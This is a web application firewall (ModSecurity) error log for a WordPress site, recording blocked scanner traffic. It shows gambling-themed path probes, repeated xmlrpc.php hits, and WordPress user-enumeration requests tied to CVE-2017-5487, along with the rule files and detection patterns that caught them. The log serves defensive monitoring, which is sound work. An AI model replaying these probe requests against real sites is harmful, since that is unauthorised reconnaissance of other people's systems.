[Sun May 17 21:00:36.120921 2026] [:error] [pid 59062:tid 59124] [client 135.181.180.59:58132] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/super%20slot.aspx"] [unique_id "agm79D4V9GkVWmCFmGYopAAAAIE"]
[Sun May 17 21:00:38.581577 2026] [:error] [pid 10835:tid 10897] [client 135.181.180.59:58136] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20max%20wallet.aspx"] [unique_id "agm79kk8lW0-dtknLl8rZwAAAhg"]
[Sun May 17 21:00:40.940336 2026] [:error] [pid 36652:tid 36670] [client 135.181.180.59:58152] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20vip.aspx"] [unique_id "agm7-DZrzQadnZADvj9bRgAAARA"]
[Sun May 17 21:00:43.451154 2026] [:error] [pid 11079:tid 11114] [client 135.181.180.59:58160] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet%20net.aspx"] [unique_id "agm7-2eR3-DrxhvUqxH7hQAAAko"]
[Sun May 17 21:00:45.803005 2026] [:error] [pid 17234:tid 17236] [client 135.181.180.59:13472] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot%20wallet.aspx"] [unique_id "agm7_dJ4QOrYRCeDR2hemQAAAUA"]
[Sun May 17 21:00:48.325466 2026] [:error] [pid 17234:tid 17254] [client 135.181.180.59:13476] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/superslot168%20wallet.aspx"] [unique_id "agm8ANJ4QOrYRCeDR2hemgAAAVI"]
[Sun May 17 21:00:50.724336 2026] [:error] [pid 10835:tid 10877] [client 135.181.180.59:13478] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20168.aspx"] [unique_id "agm8Akk8lW0-dtknLl8ragAAAgQ"]
[Sun May 17 21:00:53.288158 2026] [:error] [pid 17234:tid 17259] [client 135.181.180.59:13484] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20c4.aspx"] [unique_id "agm8BdJ4QOrYRCeDR2henAAAAVc"]
[Sun May 17 21:00:55.839651 2026] [:error] [pid 59061:tid 59108] [client 135.181.180.59:41148] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufa%20sa.aspx"] [unique_id "agm8B4YS410zAmsYkoIuVgAAAEw"]
[Sun May 17 21:01:44.466473 2026] [:error] [pid 11079:tid 11118] [client 135.181.180.59:42374] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/ufabet%20wallet.aspx"] [unique_id "agm8OGeR3-DrxhvUqxH7nQAAAk4"]
[Sun May 17 21:01:46.982287 2026] [:error] [pid 11079:tid 11123] [client 135.181.180.59:54502] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/w69%20slot.aspx"] [unique_id "agm8OmeR3-DrxhvUqxH7ogAAAlM"]
[Sun May 17 21:01:49.464535 2026] [:error] [pid 10834:tid 10870] [client 135.181.180.59:54512] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/wallet%20slot.aspx"] [unique_id "agm8PRISNQ_Nf83-VpqxTwAAAdg"]
[Sun May 17 21:01:51.970919 2026] [:error] [pid 10835:tid 10892] [client 135.181.180.59:54518] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "agm8P0k8lW0-dtknLl8regAAAhM"]
[Sun May 17 21:01:54.496686 2026] [:error] [pid 11079:tid 11120] [client 135.181.180.59:54524] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "agm8QmeR3-DrxhvUqxH7qQAAAlA"]
[Sun May 17 21:01:56.891725 2026] [:error] [pid 59062:tid 59147] [client 135.181.180.59:32282] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "agm8RD4V9GkVWmCFmGYo3QAAAJg"]
[Sun May 17 21:01:59.420223 2026] [:error] [pid 59062:tid 59136] [client 135.181.180.59:32284] [client 135.181.180.59] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "agm8Rz4V9GkVWmCFmGYo4QAAAI0"]
[Sun May 17 22:17:36.969058 2026] [:error] [pid 59062:tid 59145] [client 35.254.240.152:60594] [client 35.254.240.152] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.254.240.152, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agnOAD4V9GkVWmCFmGY4tAAAAJY"]
[Sun May 17 22:17:40.159588 2026] [:error] [pid 59062:tid 59133] [client 35.254.240.152:60594] [client 35.254.240.152] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "agnOBD4V9GkVWmCFmGY4ugAAAIo"]
[Sun May 17 22:17:40.437916 2026] [:error] [pid 59062:tid 59125] [client 35.254.240.152:60594] [client 35.254.240.152] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.254.240.152, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agnOBD4V9GkVWmCFmGY4uwAAAII"]
[Sun May 17 22:17:42.369734 2026] [:error] [pid 59062:tid 59135] [client 35.254.240.152:63867] [client 35.254.240.152] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.254.240.152, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agnOBj4V9GkVWmCFmGY4vAAAAIw"]
[Sun May 17 22:17:44.156553 2026] [:error] [pid 10835:tid 10878] [client 35.254.240.152:52740] [client 35.254.240.152] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.254.240.152, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agnOCEk8lW0-dtknLl80-gAAAgU"]
[Sun May 17 22:17:45.935849 2026] [:error] [pid 11079:tid 11120] [client 35.254.240.152:58004] [client 35.254.240.152] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.254.240.152, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agnOCWeR3-DrxhvUqxEIMAAAAlA"]
[Sun May 17 22:17:47.637874 2026] [:error] [pid 10835:tid 10874] [client 35.254.240.152:52167] [client 35.254.240.152] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 35.254.240.152, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agnOC0k8lW0-dtknLl81AwAAAgE"]
[Sun May 17 22:17:47.638004 2026] [:error] [pid 10835:tid 10874] [client 35.254.240.152:52167] [client 35.254.240.152] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 35.254.240.152, counter = 6"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agnOC0k8lW0-dtknLl81AwAAAgE"]
[Sun May 17 22:48:37.481440 2026] [:error] [pid 59062:tid 59123] [client 123.207.65.62:51098] [client 123.207.65.62] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "agnVRT4V9GkVWmCFmGY_VQAAAIA"]
[Sun May 17 23:58:24.516186 2026] [:error] [pid 11079:tid 11127] [client 49.51.132.100:53772] [client 49.51.132.100] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "agnloGeR3-DrxhvUqxETrgAAAlc"]
[Sun May 17 23:59:47.703367 2026] [:error] [pid 59062:tid 59137] [client 51.83.9.208:38598] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/auto%20slot.aspx"] [unique_id "agnl8z4V9GkVWmCFmGZJeQAAAI4"]
[Sun May 17 23:59:50.110330 2026] [:error] [pid 59062:tid 59141] [client 51.83.9.208:53564] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "agnl9j4V9GkVWmCFmGZJewAAAJI"]
[Sun May 17 23:59:52.568843 2026] [:error] [pid 10834:tid 10860] [client 51.83.9.208:53574] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20co.aspx"] [unique_id "agnl-BISNQ_Nf83-Vpq_YwAAAc4"]
[Sun May 17 23:59:54.806979 2026] [:error] [pid 59062:tid 59126] [client 51.83.9.208:53590] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "agnl-j4V9GkVWmCFmGZJfQAAAIM"]
[Sun May 17 23:59:57.325571 2026] [:error] [pid 11079:tid 11117] [client 51.83.9.208:53606] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20original.aspx"] [unique_id "agnl_WeR3-DrxhvUqxETzAAAAk0"]
[Sun May 17 23:59:59.648168 2026] [:error] [pid 10834:tid 10862] [client 51.83.9.208:53450] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "agnl_xISNQ_Nf83-Vpq_awAAAdA"]
[Mon May 18 00:00:02.186837 2026] [:error] [pid 10784:tid 10806] [client 51.83.9.208:53456] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "agnmAmBWRlKsFkSZGxBXkwAAAYc"]
[Mon May 18 00:00:04.725212 2026] [:error] [pid 11079:tid 11124] [client 51.83.9.208:53472] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "agnmBGeR3-DrxhvUqxETzgAAAlQ"]
[Mon May 18 00:00:07.243479 2026] [:error] [pid 10835:tid 10890] [client 51.83.9.208:53482] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "agnmB0k8lW0-dtknLl89IgAAAhE"]
[Mon May 18 00:00:09.754614 2026] [:error] [pid 17234:tid 17256] [client 51.83.9.208:35780] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "agnmCdJ4QOrYRCeDR2hprAAAAVQ"]
[Mon May 18 00:00:12.085988 2026] [:error] [pid 10834:tid 10869] [client 51.83.9.208:35786] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "agnmDBISNQ_Nf83-Vpq_cQAAAdc"]
[Mon May 18 00:00:14.612902 2026] [:error] [pid 59166:tid 59184] [client 51.83.9.208:35794] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "agnmDk_puQ1I47_0Urj4WwAAANA"]
[Mon May 18 00:00:16.925441 2026] [:error] [pid 11079:tid 11106] [client 51.83.9.208:35798] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "agnmEGeR3-DrxhvUqxET0AAAAkY"]
[Mon May 18 00:00:19.435644 2026] [:error] [pid 10784:tid 10803] [client 51.83.9.208:58726] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "agnmE2BWRlKsFkSZGxBXlAAAAYQ"]
[Mon May 18 00:00:21.902436 2026] [:error] [pid 11079:tid 11120] [client 51.83.9.208:58730] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "agnmFWeR3-DrxhvUqxET0gAAAlA"]
[Mon May 18 00:00:24.331590 2026] [:error] [pid 11079:tid 11127] [client 51.83.9.208:58740] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "agnmGGeR3-DrxhvUqxET0wAAAlc"]
[Mon May 18 00:00:26.781083 2026] [:error] [pid 17234:tid 17245] [client 51.83.9.208:58748] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "agnmGtJ4QOrYRCeDR2hpswAAAUk"]
[Mon May 18 00:00:29.277311 2026] [:error] [pid 10835:tid 10895] [client 51.83.9.208:40072] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "agnmHUk8lW0-dtknLl89JAAAAhY"]
[Mon May 18 00:00:31.949945 2026] [:error] [pid 59062:tid 59131] [client 51.83.9.208:40088] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "agnmHz4V9GkVWmCFmGZJhgAAAIg"]
[Mon May 18 00:00:34.529960 2026] [:error] [pid 10784:tid 10817] [client 51.83.9.208:40100] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "agnmImBWRlKsFkSZGxBXlwAAAZE"]
[Mon May 18 00:00:37.549811 2026] [:error] [pid 59062:tid 59133] [client 51.83.9.208:40104] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "agnmJT4V9GkVWmCFmGZJkQAAAIo"]
[Mon May 18 00:00:39.968947 2026] [:error] [pid 10834:tid 10856] [client 51.83.9.208:53016] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20slot.aspx"] [unique_id "agnmJxISNQ_Nf83-Vpq_iAAAAco"]
[Mon May 18 00:00:42.916515 2026] [:error] [pid 10784:tid 10810] [client 51.83.9.208:53026] [client 51.83.9.208] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/joker%20vip.aspx"] [unique_id "agnmKmBWRlKsFkSZGxBXmQAAAYs"]
[Mon May 18 00:32:22.927584 2026] [:error] [pid 59062:tid 59142] [client 34.121.14.165:59849] [client 34.121.14.165] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.121.14.165, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agntlj4V9GkVWmCFmGZO2wAAAJM"]
[Mon May 18 00:32:26.036535 2026] [:error] [pid 59062:tid 59131] [client 34.121.14.165:59849] [client 34.121.14.165] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users/"] [unique_id "agntmj4V9GkVWmCFmGZO5QAAAIg"]
[Mon May 18 00:32:26.235127 2026] [:error] [pid 59062:tid 59130] [client 34.121.14.165:59849] [client 34.121.14.165] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.121.14.165, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agntmj4V9GkVWmCFmGZO5gAAAIc"]
[Mon May 18 00:32:27.971502 2026] [:error] [pid 59062:tid 59134] [client 34.121.14.165:49709] [client 34.121.14.165] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.121.14.165, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agntmz4V9GkVWmCFmGZO7AAAAIs"]
[Mon May 18 00:32:29.753857 2026] [:error] [pid 10835:tid 10897] [client 34.121.14.165:61054] [client 34.121.14.165] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.121.14.165, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agntnUk8lW0-dtknLl9AcwAAAhg"]
[Mon May 18 00:32:31.550692 2026] [:error] [pid 11079:tid 11126] [client 34.121.14.165:60479] [client 34.121.14.165] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.121.14.165, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agntn2eR3-DrxhvUqxEXuwAAAlY"]
